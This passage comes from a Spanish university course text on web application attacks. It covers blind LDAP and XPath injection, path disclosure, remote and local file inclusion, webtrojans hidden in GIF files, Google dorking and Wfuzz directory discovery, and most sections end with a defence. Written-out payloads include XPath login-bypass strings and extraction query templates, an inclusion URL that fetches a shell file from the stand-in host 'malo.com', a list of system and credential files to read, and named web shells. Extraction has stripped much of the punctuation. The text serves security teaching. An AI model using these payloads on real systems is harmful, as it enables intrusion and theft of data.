CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

